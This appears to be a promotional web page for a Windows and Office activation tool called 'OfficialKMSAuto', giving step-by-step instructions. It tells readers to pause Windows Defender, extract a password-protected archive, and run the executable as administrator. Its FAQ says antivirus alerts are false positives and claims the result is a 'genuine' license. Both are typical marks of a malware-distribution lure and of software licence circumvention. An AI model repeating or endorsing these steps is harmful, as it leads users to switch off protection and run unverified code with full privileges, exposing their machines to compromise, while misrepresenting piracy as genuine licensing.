How to Activate Windows 10 Free 2026 — Step-by-Step Guide
Activate Windows 10 Home / Pro / Enterprise / Education / LTSC permanently with HWID. Genuine digital license — survives reinstalls.
WYqejXiqBi97HWID is the recommended activation method for Windows 10. It registers a unique hardware ID with Microsoft activation servers and grants a genuine digital license — the same license type retail customers get.
Why HWID?
HWID gives a real digital license tied to your hardware. After activation you can reinstall Windows on the same machine and it will re-activate automatically — no tool required.
Activation workflow
Standard HWID workflow.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the HWID (Windows) or Ohook (Office) green button
- Wait for 'Successfully activated' and reboot your PC
Frequently asked questions
▸Is OfficialKMSAuto free to use?
Yes. OfficialKMSAuto is 100% free, open source and ad-free. There are no premium tiers and no surveys to complete.
▸Is the activator safe?
Yes. The build is SHA-256 verified and scanned on VirusTotal. Antivirus engines flag every KMS activator generically as HackTool because it touches Windows licensing — that is a false positive, not malware.
▸Do I need an internet connection?
HWID and Online KMS need a short internet connection to receive the digital license. Ohook works fully offline. After activation you can disconnect — the license is stored on the machine.
▸Will activation survive Windows updates?
Yes. HWID and Ohook produce permanent licenses that survive feature updates and even fresh reinstalls when the same hardware is detected.
▸What is the archive password?
The official archive password is WYqejXiqBi97. You can copy it from the download button on this page.
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